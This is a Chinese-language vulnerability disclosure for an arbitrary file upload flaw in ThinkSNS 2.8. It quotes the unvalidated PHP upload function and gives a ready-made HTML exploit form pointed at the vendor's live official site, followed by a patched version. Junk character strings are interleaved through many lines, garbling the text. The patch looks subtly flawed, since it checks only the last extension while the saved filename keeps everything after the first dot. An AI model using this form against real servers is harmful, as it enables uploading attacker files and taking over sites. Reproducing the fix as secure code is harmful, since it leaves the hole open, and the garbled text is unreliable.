ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。

8 z& }' |; c3 D& B' H. [
& B$ j. x3 r6 [7 J\api\StatusesApi.class.php

. L" H& }# t; N) z/ P: ^function uploadpic(){
      if( $_FILES['pic'] ){
     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
5 w9 R- ^+ W8 T6 L6 Z: ~8 `        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
6 ]$ Y# A: C  Q: }- \7 }       }
4 n% K/ s5 P3 R6 F* k     }else{
  ~; q- m; }! e' E" B; ^% P) W         $result['boolen']    = 0;
! H/ [7 X% l3 H! M) f& C         $result['message']   = '上传失败';
" S% E! g2 D, ?+ ?1 N0 a     }
return $result;
    }
unloadpic()方法没有对文件类型进行验证

可以构建表单, 选择任意文件, 提交到
2 q, T! k3 B' ^! R% W! X/index.php?app=w3g&mod=Index&act=doPost

! Y- N5 ^% b. {在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)

  ~: y* }3 J' t( e4 F. K' m
- m1 M9 x' ]. L4 L在登录thinksns官方微博后,
1 ]7 J& _3 R+ A( R  \& N9 W构建以下表单:

( ]$ H& e: m$ r( F0 D8 }<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
<textarea name="content">test</textarea>
file: <input id="file" type="file" name="pic" />
2 U7 q: O9 A9 W: Y& e/ \6 a<input type="submit" value="Post" />
</form>
去掉缩略图的前缀(small_ )
​修复方案：

% w; A9 N6 y/ ?
5 g8 G4 ^4 V3 y3 {\api\StatusesApi.class.php

function uploadpic(){
( @2 z  n. ]" i     /**
      * 20121018 @yelo
  u0 y: V/ J# ?0 |4 R5 C      * 增加上传类型验证
      */
     $pathinfo = pathinfo($_FILES['pic']['name']);
' o% g0 S: N. O& N& B     $ext = $pathinfo['extension'];
- T/ o9 d/ Q0 z7 E, @ $allowExts = array('jpg', 'png', 'gif', 'jpeg');

' k8 q" ^6 @: l7 O     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
: S7 C" ]6 N  a2 H; r" M
     if( $uploadCondition ){
     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
, Z7 S1 l+ O( e0 W% J! l       {
  V. u! r) I. b  v6 i        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
        $result['boolen']    = 0;
) {( O! H- [8 i" q4 j        $result['message']   = '上传失败';
       }
     }else{
         $result['boolen']    = 0;
* R" E4 [# K6 _9 O( S  |         $result['message']   = '上传失败';
     }
return $result;
    }
8 L2 P7 C3 L2 E; S. S6 O  h5 d​